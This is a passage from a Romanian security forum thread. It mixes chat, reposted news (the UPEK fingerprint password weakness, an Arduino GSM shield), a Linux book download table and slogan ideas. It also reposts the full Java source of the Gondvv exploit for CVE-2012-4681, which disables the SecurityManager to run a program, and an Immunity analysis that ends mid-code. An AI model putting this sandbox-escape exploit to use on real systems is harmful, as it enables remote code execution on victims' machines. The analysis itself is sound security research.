Nytro

Sunt singurul de parere ca a sta cu o cagula pe cap in fata monitorului e o prostie?

Sus, in loc de acel negru, sa fie ca si jos, sa fie "echilibrat".

Daca v-ati inregistrat, nu ati primit mail de confirmare si nu puteti vedea link-urile de pe forum din cauza ca nu aveti contul activat, dati-mi PM si se rezolva. Este posibil sa fie o problema cu trimiterea mail-ului de activare a contului.

Bine ai venit.

[h=1]Widely used fingerprint reader exposes Windows passwords in seconds[/h][h=2]If your laptop uses software from UPEK, it's exposing your Windows password.[/h]by Dan Goodin - Sept 5 2012, 1:20am GTBDT An image from UPEK Protector Suite 2009. Fingerprint-reading software preinstalled on laptops sold by Dell, Sony, and at least 14 other PC makers contains a serious weakness that makes it trivial for hackers with physical control of the machine to quickly recover account passwords, security researchers said. The UPEK Protector Suite, which was acquired by Melbourne, Florida-based Authentec two years ago, is marketed as a secure means for logging into Windows computers using an owner's unique fingerprint, rather than a user-memorized password. In reality, using the software makes users less secure than they otherwise would be. When activated, the software writes Windows account passwords to the registry and encrypts them with a key that is easy for hackers to retrieve. Once the key has been acquired, it takes seconds to decrypt the password. "After analyzing a number of laptops equipped with UPEK fingerprint readers and running UPEK Protector Suite, we found that your Windows account passwords are stored in Windows registry almost in plain text, barely scrambled but not encrypted," said an advisory issued by Elcomsoft, a Russia-based developer of password-cracking software. "Having physical access to a laptop running UPEK Protector Suite, we could extract passwords to all user accounts with fingerprint-enabled logon." When Protector Suite isn't activated, Windows doesn't store account passwords in the registry unless users have specifically configured an account to automatically log in. Security experts have long counseled people not to use automatic login. That means computers that use the UPEK app are at a severe disadvantage compared with people who use a strong password to log in to a Windows account. The most obvious disadvantage is for those computers that have a Windows feature known as Encrypting File System enabled to prevent third parties from accessing sensitive files or folders. The key that unlocks that encrypted data is controlled by a Windows account password. Once the password is retrieved, the EFS-encrypted data stored on the computer can quickly be decrypted. Further, having quick access to the account password could unlock other data that might otherwise be harder to obtain. The Windows Data Protection application programming interface, for example, is also closely tied to account passwords and controls access to credentials used by Outlook, Internet Explorer, and possibly other applications. Of course, any time a PC is physically controlled by a hacker, its passwords are vulnerable to cracking attacks that have grown significantly more powerful in recent years. But without the use of the UPEK Protector Suite, hackers have access only to one-way password hashes, which, depending on the complexity of the underlying passcode, can take years or centuries to recover using brute-force methods. Use of the fingerprint software guarantees the success of the cracking operation, and it can also significantly reduce the time it takes. The easily cracked passwords are stored in the Windows registry even after the Protector Suite software has been deactivated, according to the Elcomsoft advisory. It is only removed when a user manually deletes it. The precise registry location of the encrypted password is not yet known. This article will be updated with instructions for locating and removing it if that information can be obtained. Authentec no longer actively markets Protector Suite, but according to archived data from the UPEK website, the app ships—or used to ship—on laptops manufactured by 16 different companies. In addition to Dell and Acer, other PC makers include Amoi, Asus, Clevo, Compal, Dell, Gateway, IBM/Lenovo, Itronix, MPC, MSI, NEC, Sager, Samsung, Sony, and Toshiba. It's unclear if Authentec officials plan to recall the product or issue an advisory warning laptop owners of the vulnerability. Company representatives didn't respond to Ars Technica e-mails requesting comment for this article. The Elcomsoft findings follow research published last month that showed that password hints are easily extracted from Windows 7 and Windows 8 machines. The discovery serves as a useful reality check for marketers who portray fingerprints and other user biometrics as a panacea for the difficulty of remembering and securing passwords. In fact, biometric readers are only as secure as the software that implements them. And even when devices are free of such implementation errors, biometrics such as fingerprints and iris scans may be vulnerable to cloning, opening up the possibility of a new class of attacks on the alternate authentication methods. According to Elcomsoft, Authentec officials have already said they're aware of the weakness. If true, it's disappointing that the company has yet to share that knowledge with the millions of people who likely have the software installed on their computers. A tutorial included with UPEK Protector Suite 2009 installed on a Sony Vaio touts the convenience of the application with the tag line: "Protect your digital privacy." It goes on to emphasize the benefits of using Protector Suite to encrypt files and folders. Now that a weakness has come to light that seriously undermines those assurances, Authentec should recall the software, or at the very least warn users that it is susceptible to serious attack. Sursa: Widely used fingerprint reader exposes Windows passwords in seconds | Ars Technica

[h=2]Advanced Linux Programming[/h] Do not use a download accelerator to download these files. To view and print the book, you will need a Portable Document Format (PDF) viewer application, such as Xpdf gv Adobe Acrobat Reader. Some web browsers have problems with inline PDF files. Try saving the file to your local filesystem before opening with a stand alone PDF viewer. If you still have problems viewing the file, make sure you have downloaded the entire file and the md5 checksum matches. [TABLE] [TR] [TH]Title[/TH] [TH]File[/TH] [TH]Filesize[/TH] [TH]md5 checksum [/TH] [/TR] [TR] [TH=align: left]The Entire Advanced Linux Programming Book in One File[/TH] [TD]pdf[/TD] [TD=align: right]1273361 [/TD] [TD]5e722dc5dfcde263ea06fa193e9f61b4 [/TD] [/TR] [TR] [TH=align: left]Front Matter and Table of Contents[/TH] [TD]pdf[/TD] [TD=align: right]1273361 [/TD] [TD]fe0c601b919879e93d79d25a78818b5c [/TD] [/TR] [TR] [TH=align: left]Chapter 01 - Advanced Unix Programming with Linux[/TH] [TD]pdf[/TD] [TD=align: right]235835[/TD] [TD]5923f2a5d7fb4f941fe905fbe45be196 [/TD] [/TR] [TR] [TH=align: left]Chapter 02 - Writing Good GNU/Linux Software[/TH] [TD]pdf[/TD] [TD=align: right]280326 [/TD] [TD]44c823c1240c7f70a6dc9dbfddbe03fa [/TD] [/TR] [TR] [TH=align: left]Chapter 03 - Processes[/TH] [TD]pdf[/TD] [TD=align: right]241758 [/TD] [TD]87b5d98ba5b5933cf2ad1dbcf37641aa [/TD] [/TR] [TR] [TH=align: left]Chapter 04 - Threads[/TH] [TD]pdf[/TD] [TD=align: right]292419 [/TD] [TD]11f392b44c073498e9ec9b3f718e54e7 [/TD] [/TR] [TR] [TH=align: left]Chapter 05 - Interprocess Communication[/TH] [TD]pdf[/TD] [TD=align: right]289853 [/TD] [TD]0de9b56476a0e6e536fbac68e09b02d2 [/TD] [/TR] [TR] [TH=align: left]Chapter 06 - Mastering Linux[/TH] [TD]pdf[/TD] [TD=align: right]268821[/TD] [TD]ab8940fbcc40018d72bd2016e662afba [/TD] [/TR] [TR] [TH=align: left]Chapter 07 - The /proc File System[/TH] [TD]pdf[/TD] [TD=align: right]258582[/TD] [TD]b3fe701f67a37ad7ba7233bcdc3f5d90 [/TD] [/TR] [TR] [TH=align: left]Chapter 08 - Linux System Calls[/TH] [TD]pdf [/TD] [TD=align: right]261352 [/TD] [TD]583182dc09bc8b3c3773ba6d0fc710f2 [/TD] [/TR] [TR] [TH=align: left]Chapter 09 - Inline Assembly Code[/TH] [TD]pdf [/TD] [TD=align: right]204992 [/TD] [TD]c226e58fc7bf544df477d8ae96b680ed [/TD] [/TR] [TR] [TH=align: left]Chapter 10 - Security[/TH] [TD]pdf [/TD] [TD=align: right]288441 [/TD] [TD]fc340b97e9c7f3fc2f5fe4dd71132ffd [/TD] [/TR] [TR] [TH=align: left]Chapter 11 - A Sample GNU/Linux Application[/TH] [TD]pdf[/TD] [TD=align: right]298215[/TD] [TD]50a205644e441ae26d2041567d131b82 [/TD] [/TR] [TR] [TH=align: left]Appendix A - Other Development Tools[/TH] [TD]pdf [/TD] [TD=align: right]272377 [/TD] [TD]09a9a79a3c3abe6869df3f1ab5b39b14 [/TD] [/TR] [TR] [TH=align: left]Appendix B - Low Level I/O[/TH] [TD]pdf [/TD] [TD=align: right]252755 [/TD] [TD]3eaa0f0bbd103e1cc7872663e227a14b [/TD] [/TR] [TR] [TH=align: left]Appendix C - Table of Signals[/TH] [TD]pdf [/TD] [TD=align: right]177879 [/TD] [TD]3b02a6abb38877580b743392b98c3290 [/TD] [/TR] [TR] [TH=align: left]Appendix D - Online Resources[/TH] [TD]pdf[/TD] [TD=align: right]148074 [/TD] [TD]372964ff1eb4f85aca3985736a06cc48 [/TD] [/TR] [TR] [TH=align: left]Appendix E - Open Publication License Version 1.0[/TH] [TD]pdf[/TD] [TD=align: right]176596 [/TD] [TD]5b1ddb8d38b6a44b357345ba6c25010e [/TD] [/TR] [TR] [TH=align: left]Appendix F - The GNU General Public License[/TH] [TD]pdf[/TD] [TD=align: right]228793 [/TD] [TD]e207c51489e6f3cfafba5b13bb5e3bd9 [/TD] [/TR] [TR] [TH=align: left]Index[/TH] [TD]pdf[/TD] [TD=align: right]1253094 [/TD] [TD]004eefcfc2c6dca9a21233e748b81f35 [/TD] [/TR] [/TABLE] PDF files: http://www.advancedlinuxprogramming.com/alp-folder/ Sursa/Info: Downloads for Advanced Linux Programming

Cica lu kwe nu ii place

[h=2]Make cell phone calls with your Arduino[/h]posted Sep 3rd 2012 7:17am by Brian Benchoff filed under: arduino hacks, cellphones hacks Cellular shields for the Arduino have been around for ages, but this is the first one we’ve seen that turns your Arduino into a proper cell phone. The shield is based around the SIM900 GSM/GPRS radio module, and is compatible with the SIM908 GSM/GPRS module that adds a GPS receiver. Also on board this shield are a pair of 1/8? audio jacks, perfect for connecting a microphone and headphones. Yes, you can actually make cell phone calls with your Arduino now. The real star of this build is the new GSM Shield library. This library of code includes the methods necessary for an Arduino to function as a cell phone (answer, hang up, dial a number), but also includes a lot of improvements for TCP/IP communication. Even though the cost of getting an Arduino communicating through a GSM or GPRS network is fairly high, we’re thinking this would be the perfect starting point for a completely open source, open hardware cell phone. A phone with the same functionality as an old Nokia brick that is also a MiFy would be an amazing piece of hardware, and would surely make for a profitable Kickstarter. Sursa: Make cell phone calls with your Arduino - Hack a Day

Pai veniti cu idei. Stransesem o lista lunga data trecuta. O parte: "Curiosity is our motivation, security is our hobby and information si our weapon." "Tonight, we dine in ASM" "The quieter you become, the more you are able to hear" - dar e fumata deja de BackTrack "Tomorrow will be canceled due to lack of interest." "Hack /dev/null" - ))))) "Life's a bitch and then you die." "Anything is good if it's made of epicness." "LEGALIZE INSANITY!" "Hackers come and go, but enemies accumulate.' "The Computer made me do it." "What we tell you three times is true." - asta mi se pare buna "Hacking - the vice of being right" "For every action there is an equal and opposite government program." Tomorrow is a better day, today it's RST. Pray for a better day, we are RST. Pray for a better day, RST is here. There's not right and wrong, it's all RST. Admin : "I had a nightmare today. RST." "Live between elliptic curves." -begood (se refera la elliptic curve cryptography) RST - the endless search for wisdom, hope and BOF. "The possession of anything begins in the mind." The art of hacking and security. The Future of hacking and security hacking and security it's real You never had hacking and security like this before. Master of hacking and security. hacking and security make the old days good. The hacking and security effect. It's not a matter of can or cannot, it's a matter of will or will not, everything is a choice, choose wisely. "We're Right,we're Free,we'll Fight,you'll See" sau initiala de la fiecare verb sa afiseze RST "we're Right,you('ll) See,we'll Tear all apart" *The higher the voice the smaller the intellect. *The overall process is not describable to an average person. M&M's *All computers wait at the same speed. *Blink your eyelids periodically to lubricate your eyes. *486: The average IQ needed to understand a PC. *We put the "um…" in Pentium. "We work in the shadow to serve the light" ""Where others are restricted by law or morality, remember: Everything is permitted."" "Amateurs hack systems, professionals hack people." "Through darkest night, we await the coming of the dawn." "Just when I thought I was out...they pull me back in" "We're all mad in here..." "Welcome to Hell. Here's your copy of Windows(knowledge..or something else)." If the intelligence community is a family, think of us as the uncle no one talks about.

Daca tot esti interesat de calculatoare cuantice, probabil esti mai informat ca multi de aici, deci de ce nu scrii un articol despre asta? E doar o sugestie, si eu sunt curios despre ce e vorba mai exact, dar nu am avut timp sa ma informez.

iPhone salveaza coordonatele geografice ale voastre in fiecare poza pe care o faceti si nu va mai plangeti (au fost oameni arestati din cauza asta), dar ca Micorosft "stie" ca "tu" (nu stie cine esti tu de fapt, stie doar ce instalezi) instalezi Winamp si Yahoo! Messenger, da, intr-adevar, e un mare atac la intimitate.

Bun, sa vedem ce zic astia, vorbesc diseara cu ei. Thanks

Eu nu am pretentii, mie mi se pare ok, doar cu mici modificari gen fara acel "hacker inside".

CVE-2012-XXXX Java 0day // // CVE-2012-XXXX Java 0day // // reported here: http://blog.fireeye.com/research/2012/08/zero-day-season-is-not-over-yet.html // // secret host / ip : ok.aa24.net / 59.120.154.62 // // regurgitated by jduck // // probably a metasploit module soon... // package cve2012xxxx; import java.applet.Applet; import java.awt.Graphics; import java.beans.Expression; import java.beans.Statement; import java.lang.reflect.Field; import java.net.URL; import java.security.*; import java.security.cert.Certificate; public class Gondvv extends Applet { public Gondvv() { } public void disableSecurity() throws Throwable { Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); Permissions localPermissions = new Permissions(); localPermissions.add(new AllPermission()); ProtectionDomain localProtectionDomain = new ProtectionDomain(new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); AccessControlContext localAccessControlContext = new AccessControlContext(new ProtectionDomain[] { localProtectionDomain }); SetField(Statement.class, "acc", localStatement, localAccessControlContext); localStatement.execute(); } private Class GetClass(String paramString) throws Throwable { Object arrayOfObject[] = new Object[1]; arrayOfObject[0] = paramString; Expression localExpression = new Expression(Class.class, "forName", arrayOfObject); localExpression.execute(); return (Class)localExpression.getValue(); } private void SetField(Class paramClass, String paramString, Object paramObject1, Object paramObject2) throws Throwable { Object arrayOfObject[] = new Object[2]; arrayOfObject[0] = paramClass; arrayOfObject[1] = paramString; Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject); localExpression.execute(); ((Field)localExpression.getValue()).set(paramObject1, paramObject2); } public void init() { try { disableSecurity(); Process localProcess = null; localProcess = Runtime.getRuntime().exec("calc.exe"); if(localProcess != null); localProcess.waitFor(); } catch(Throwable localThrowable) { localThrowable.printStackTrace(); } } public void paint(Graphics paramGraphics) { paramGraphics.drawString("Loading", 50, 25); } } Sursa: #4594319 - Pastie

Java 0day analysis (CVE-2012-4681) Tuesday, August 28, 2012 (This post brought to you by Esteban, Immunity's in-house Java friend) Summary A couple of days ago, a Java 0day was found running like crazy in the wild. While a lot of defense bunnies where asking "WWMAD" (What will my Antivirus do?), we decide to dive into Java for the details of the vulnerability and as we expected, the unpatched vulnerabilities used in the Gondvv exploit were more than one (When we said, "dive deep into Java", we actually meant open our new Infiltrate 2013 Master Class slide deck which will include a full day of Java auditing). The first bug was used to get a reference to sun.awt.SunToolkit class that is restricted to applets while the second bug invokes the getField public static method on SunToolkit using reflection with a trusted immediate caller bypassing a security check. The beauty of this bug class is that it provides 100% reliability and is multiplatform. Hence this will shortly become the penetration test Swiss knife for the next couple of years (as did its older brother CVE-2008-5353). As a final note, the bug was introduced in Java 7.0 released in July 28, 2011. While you are feeling the rush of blood going through your veins while by getting all those shell being pop, think that somewhere not far way (Probably a 10hs flight from some of the major airports in Norte Americana) was enjoying it non-stop for quite some time now. Introduction As the “Secure Coding Guidelines” document [1] states, it is important to understand how the permissions are checked in the Java security model. (Please readguideline 9-1). Many operations in the JDK perform permission checks before executing. Whenever a call to java.security.AccessController.checkPermission method is performed, the complete call stack that exists at that moment is analyzed. If any of the callers in the stack do not have the required privileged an exception is raised. When we are running code in an Applet in our browser, there is a context that has very restricted permissions. This means that if there is any caller in the stack that is part of our applet, the permission checks will fail (unless there is a doPrivileged code block, but let's leave that out for now). Section “9 – Access Control” in the “Secure Coding Guidelines” document [1] together with the “Java Security Architecture” document [2] will give you a complete insight on how all this works. The Gondvv exploit A PoC for this 0 day exploit quickly began to spread when Joshua J. Drake posted it on Twitter https://twitter.com/jduck1337/status/239875285913317376. By analyzing this implementation we can clearly see how the exploitation is done and where the vulnerabilities are really located. The first thing we notice, is that most of the online analysis talks about one vulnerability where we saw two 2 vulnerabilities being exploited to achieve full execution on a target. Basically the exploit is creating an java.security.AccessControlContext instance with a java.security.ProtectionDomain that has full permissions and then replace the actual AccessControlContext of a java.beans.Statement instance to be able to execute code with full privileges. So let's take a better look at each part to understand what is happening under the hood. In the java.beans.Statement implementation we can see that the AccessControlContext instance is a private final field and it gets its value by calling AccessController.getContext(). [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public class[/B] Statement {[/FONT] [FONT=Monospace][B]private static[/B] Object[] [I]emptyArray[/I] = [B]new[/B] Object[]{};[/FONT] [FONT=Monospace][B]static[/B] ExceptionListener [I]defaultExceptionListener[/I] = [B]new[/B] ExceptionListener() {[/FONT] [FONT=Monospace][B]public void[/B] exceptionThrown(Exception e) {[/FONT] [FONT=Monospace]System.[I]err[/I].println(e);[/FONT] [FONT=Monospace]System.[I]err[/I].println("Continuing ...");[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]};[/FONT] [FONT=Monospace][B]private final[/B] AccessControlContext acc = AccessController.[I]getContext[/I]();[/FONT] [FONT=Monospace][B]private final[/B] Object target;[/FONT] [FONT=Monospace][B]private final[/B] String methodName;[/FONT] [FONT=Monospace][B]private final[/B] Object[] arguments;[/FONT] [FONT=Monospace]ClassLoader loader;[/FONT] [FONT=Monospace][...][/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] That call to the getContext method will set the AccessControlContext to an applet context that has restrictions with a limited ProtectionDomain which of course is not privileged at all. Back in 2010 Sami Koivu published information about a Java vulnerability (CVE-2010-0840) that built a “trusted method chain” [4]. You can see in the article that the exploitation of that vulnerability also made use of the java.beans.Statement class. The article also explains that the fix was to add an AccessControlContext field to the Statement class setting its value to the applet context when creating an instance thus avoiding the full trusted chain. This AccessControllContext field added in that fix is exactly what this new 0 day exploit is replacing in order to be able to execute code with full permissions. But how can a private field be changed? The trick here is to use the sun.awt.SunToolkit class which contains a very interesting public static method: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public static[/B] Field getField([B]final[/B] Class klass, [B]final[/B] String fieldName) {[/FONT] [FONT=Monospace][B]return[/B] AccessController.[I]doPrivileged[/I]([B]new[/B] PrivilegedAction<Field>() {[/FONT] [FONT=Monospace][B]public[/B] Field run() {[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace]Field field = klass.getDeclaredField(fieldName);[/FONT] [FONT=Monospace][B]assert[/B] (field != [B]null[/B]);[/FONT] [FONT=Monospace]field.setAccessible([B]true[/B]);[/FONT] [FONT=Monospace][B]return[/B] field;[/FONT] [FONT=Monospace]} [B]catch[/B] (SecurityException e) {[/FONT] [FONT=Monospace][B]assert false[/B];[/FONT] [FONT=Monospace]} [B]catch[/B] (NoSuchFieldException e) {[/FONT] [FONT=Monospace][B]assert false[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]return null[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]});[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] We can see that it is using reflection to get fields and the complete implementation is inside a doPrivileged block. This getField method can be used to get any field on a class and the good thing is that it can even retrieve private ones. Well this is of course very useful, it's important to notice that the classes that are part of certain packages are restricted for applets and cannot be accessed or used. Such packages are: com.sun.deploy.* com.sun.imageio.* com.sun.javaws.* com.sun.jnlp.* com.sun.xml.internal.bind.* com.sun.xml.internal.ws.* sun.* Trying to instantiate or use classes in these packages will result in an AccessControlException. This means that we are not able to get a reference to the sun.awt.SunToolkit class from our applet. But the basic thing we need to know is that calls to certain methods can potentially bypass the SecurityManager checks depending on the immediate caller's class loader. This is explained in detail in the “Secure Coding Guidelines” document by Sun [1] in guidelines 9-8 and 9-9. This exploit is abusing this situation taking advantage of the immediate caller to bypass security checks. Vulnerabilities There are 2 different zero-day vulnerabilities used in this exploit: one is used to obtain a reference to the sun.awt.SunToolkit class and the other is used to invoke the public getField method on that class. The exploit is making use of the java.beans.Expression which is a java.beans.Statement subclass. There are 2 Expression instances that are used to trigger these 2 different bugs. When the Expression.execute method is called it ends up calling Statement.invokeInternal method, so let's check the implementation: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]private[/B] Object invokeInternal() [B]throws[/B] Exception {[/FONT] [FONT=Monospace]Object target = getTarget();[/FONT] [FONT=Monospace]String methodName = getMethodName();[/FONT] [FONT=Monospace][B]if[/B] (target == [B]null[/B] || methodName == [B]null[/B]) {[/FONT] [FONT=Monospace][B]throw new[/B] NullPointerException((target == [B]null[/B] ? "target" :[/FONT] [FONT=Monospace]"methodName") + " should not be null");[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]Object[] arguments = getArguments();[/FONT] [FONT=Monospace][B]if[/B] (arguments == [B]null[/B]) {[/FONT] [FONT=Monospace]arguments = [I]emptyArray[/I];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]// Class.forName() won't load classes outside[/FONT] [FONT=Monospace]// of core from a class inside core. Special[/FONT] [FONT=Monospace]// case this method.[/FONT] [FONT=Monospace][B]if[/B] (target == Class.[B]class[/B] && methodName.equals("forName")) {[/FONT] [FONT=Monospace][B]return[/B] ClassFinder.[I]resolveClass[/I]((String)arguments[0], [B]this[/B].loader);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]Class[] argClasses = [B]new[/B] Class[arguments.length];[/FONT] [FONT=Monospace][B]for[/B]([B]int[/B] i = 0; i < arguments.length; i++) {[/FONT] [FONT=Monospace]argClasses[i] = (arguments[i] == [B]null[/B]) ? [B]null[/B] : arguments[i].getClass();[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]AccessibleObject m = [B]null[/B];[/FONT] [FONT=Monospace][B]if[/B] (target [B]instanceof[/B] Class) {[/FONT] [FONT=Monospace]/*[/FONT] [FONT=Monospace]For class methods, simluate the effect of a meta class[/FONT] [FONT=Monospace]by taking the union of the static methods of the[/FONT] [FONT=Monospace]actual class, with the instance methods of "Class.class"[/FONT] [FONT=Monospace]and the overloaded "newInstance" methods defined by the[/FONT] [FONT=Monospace]constructors.[/FONT] [FONT=Monospace]This way "System.class", for example, will perform both[/FONT] [FONT=Monospace]the static method getProperties() and the instance method[/FONT] [FONT=Monospace]getSuperclass() defined in "Class.class".[/FONT] [FONT=Monospace]*/[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("new")) {[/FONT] [FONT=Monospace]methodName = "newInstance";[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]// Provide a short form for array instantiation by faking an nary-constructor.[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("newInstance") && ((Class)target).isArray()) {[/FONT] [FONT=Monospace]Object result = Array.[I]newInstance[/I](((Class)target).getComponentType(), arguments.length);[/FONT] [FONT=Monospace][B]for[/B]([B]int[/B] i = 0; i < arguments.length; i++) {[/FONT] [FONT=Monospace]Array.[I]set[/I](result, i, arguments[i]);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]return[/B] result;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("newInstance") && arguments.length != 0) {[/FONT] [FONT=Monospace]// The Character class, as of 1.4, does not have a constructor[/FONT] [FONT=Monospace]// which takes a String. All of the other "wrapper" classes[/FONT] [FONT=Monospace]// for Java's primitive types have a String constructor so we[/FONT] [FONT=Monospace]// fake such a constructor here so that this special case can be[/FONT] [FONT=Monospace]// ignored elsewhere.[/FONT] [FONT=Monospace][B]if[/B] (target == Character.[B]class[/B] && arguments.length == 1 &&[/FONT] [FONT=Monospace]argClasses[0] == String.[B]class[/B]) {[/FONT] [FONT=Monospace][B]returnnew[/B] Character(((String)arguments[0]).charAt(0));[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace]m = ConstructorFinder.[I]findConstructor[/I]((Class)target, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]catch[/B] (NoSuchMethodException exception) {[/FONT] [FONT=Monospace]m = [B]null[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (m == [B]null[/B] && target != Class.[B]class[/B]) {[/FONT] [FONT=Monospace]m = [I]getMethod[/I]((Class)target, methodName, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (m == [B]null[/B]) {[/FONT] [FONT=Monospace]m = [I]getMethod[/I](Class.[B]class[/B], methodName, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace]/*[/FONT] [FONT=Monospace]This special casing of arrays is not necessary, but makes files[/FONT] [FONT=Monospace]involving arrays much shorter and simplifies the archiving infrastrcure.[/FONT] [FONT=Monospace]The Array.set() method introduces an unusual idea - that of a static method[/FONT] [FONT=Monospace]changing the state of an instance. Normally statements with side[/FONT] [FONT=Monospace]effects on objects are instance methods of the objects themselves[/FONT] [FONT=Monospace]and we reinstate this rule (perhaps temporarily) by special-casing arrays.[/FONT] [FONT=Monospace]*/[/FONT] [FONT=Monospace][B]if[/B] (target.getClass().isArray() &&[/FONT] [FONT=Monospace](methodName.equals("set") || methodName.equals("get"))) {[/FONT] [FONT=Monospace][B]int[/B] index = ((Integer)arguments[0]).intValue();[/FONT] [FONT=Monospace][B]if[/B] (methodName.equals("get")) {[/FONT] [FONT=Monospace][B]return[/B] Array.[I]get[/I](target, index);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace]Array.[I]set[/I](target, index, arguments[1]);[/FONT] [FONT=Monospace][B]returnnull[/B];[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]m = [I]getMethod[/I](target.getClass(), methodName, argClasses);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (m != [B]null[/B]) {[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace][B]if[/B] (m [B]instanceof[/B] Method) {[/FONT] [FONT=Monospace][B]return[/B] MethodUtil.[I]invoke[/I]((Method)m, target, arguments);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace][B]return[/B] ((Constructor)m).newInstance(arguments);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]catch[/B] (IllegalAccessException iae) {[/FONT] [FONT=Monospace][B]throw new[/B] Exception("Statement cannot invoke: " +[/FONT] [FONT=Monospace]methodName + " on " + target.getClass(),[/FONT] [FONT=Monospace]iae);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]catch[/B] (InvocationTargetException ite) {[/FONT] [FONT=Monospace]Throwable te = ite.getTargetException();[/FONT] [FONT=Monospace][B]if[/B] (te [B]instanceof[/B] Exception) {[/FONT] [FONT=Monospace][B]throw[/B] (Exception)te;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]else[/B] {[/FONT] [FONT=Monospace][B]throw[/B] ite;[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]throw new[/B] NoSuchMethodException(toString());[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] And the Statement.getMethod implementation is: [TABLE=width: 100%] [TR] [TD=width: 100%] static Method getMethod(Class<?> type, String name, Class<?>... args) { try { return MethodFinder.findMethod(type, name, args); } catch (NoSuchMethodException exception) { return null; } } [/TD] [/TR] [/TABLE] Highlighted in the code you'll see the calls to com.sun.beans.finder.ClassFinder.resolveClass and com.sun.beans.finder.MethodFinder.findMethod methods. com.sun.beans.finder.ClassFinder.findClass vulnerability The Statement.invokeInternal method is calling com.sun.beans.finder.ClassFinder.resolveClass and if we take a look a its implementation we'll see that it ends up calling the com.sun.beans.finder.ClassFinder.findClass method: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public static[/B] Class<?> resolveClass(String name, ClassLoader loader) [B]throws[/B] ClassNotFoundException {[/FONT] [FONT=Monospace]Class<?> type = PrimitiveTypeMap.[I]getType[/I](name);[/FONT] [FONT=Monospace][B]return[/B] (type == [B]null[/B]) ? [I]findClass[/I](name, loader): type;[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public[/B] [B]static[/B] Class<?> findClass(String name) [B]throws[/B] ClassNotFoundException {[/FONT] [FONT=Monospace][B]try[/B] {[/FONT] [FONT=Monospace]ClassLoader loader = Thread.[I]currentThread[/I]().getContextClassLoader();[/FONT] [FONT=Monospace][B]if[/B] (loader == [B]null[/B]) {[/FONT] [FONT=Monospace]loader = ClassLoader.[I]getSystemClassLoader[/I]();[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]if[/B] (loader != [B]null[/B]) {[/FONT] [FONT=Monospace][B]return[/B] Class.[I]forName[/I](name, [B]false[/B], loader);[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace]} [B]catch[/B] (ClassNotFoundException exception) {[/FONT] [FONT=Monospace]// use current class loader instead[/FONT] [FONT=Monospace]} [B]catch[/B] (SecurityException exception) {[/FONT] [FONT=Monospace]// use current class loader instead[/FONT] [FONT=Monospace]}[/FONT] [FONT=Monospace][B]return[/B] Class.[I]forName[/I](name);[/FONT] [FONT=Monospace]}[/FONT] [/TD] [/TR] [/TABLE] This code shows that if an exception is captured, then the default is to simply call Class.forName and this is exaclty what happens here. As it is explained in the Guideline 9-9: “Safely invoke standard APIs that perform tasks using the immediate caller's class loader instance” on the “Secure Code Guidelines” documentation [1], a call to Class.forName will use the immediate caller ClassLoader and in this case the caller is part of the JDK which is trusted thus allowing us to get any class on any package. The caller's stack can be seen by simply debugging the applet: MethodFinder.findMethod vulnerability According to the “Secure Code Guidelines” document in guideline 9.8 the java.lang.Class.getMethod and java.lang.Class.getMethods only take the immediate caller into account when performing security checks. These methods can be used to get a Method reference via reflection but only “public” ones. Even though we have a reference to the sun.awt.SunToolkit class we cannot call any of its methods directly because is part of a restricted package and a security exception will be raised. What is needed here is a way of getting a method reference via reflection but having a “trusted” immediate caller in the stack in order to bypass security checks. The implementation of com.sun.beans.finder.MethodFinder.findMethod is this: [TABLE="width: 100%"] [TR] [TD="width: 100%"] [FONT=Monospace][B]public static[/B] Method findMethod(Class<?> type, String name, Class<?>...args) 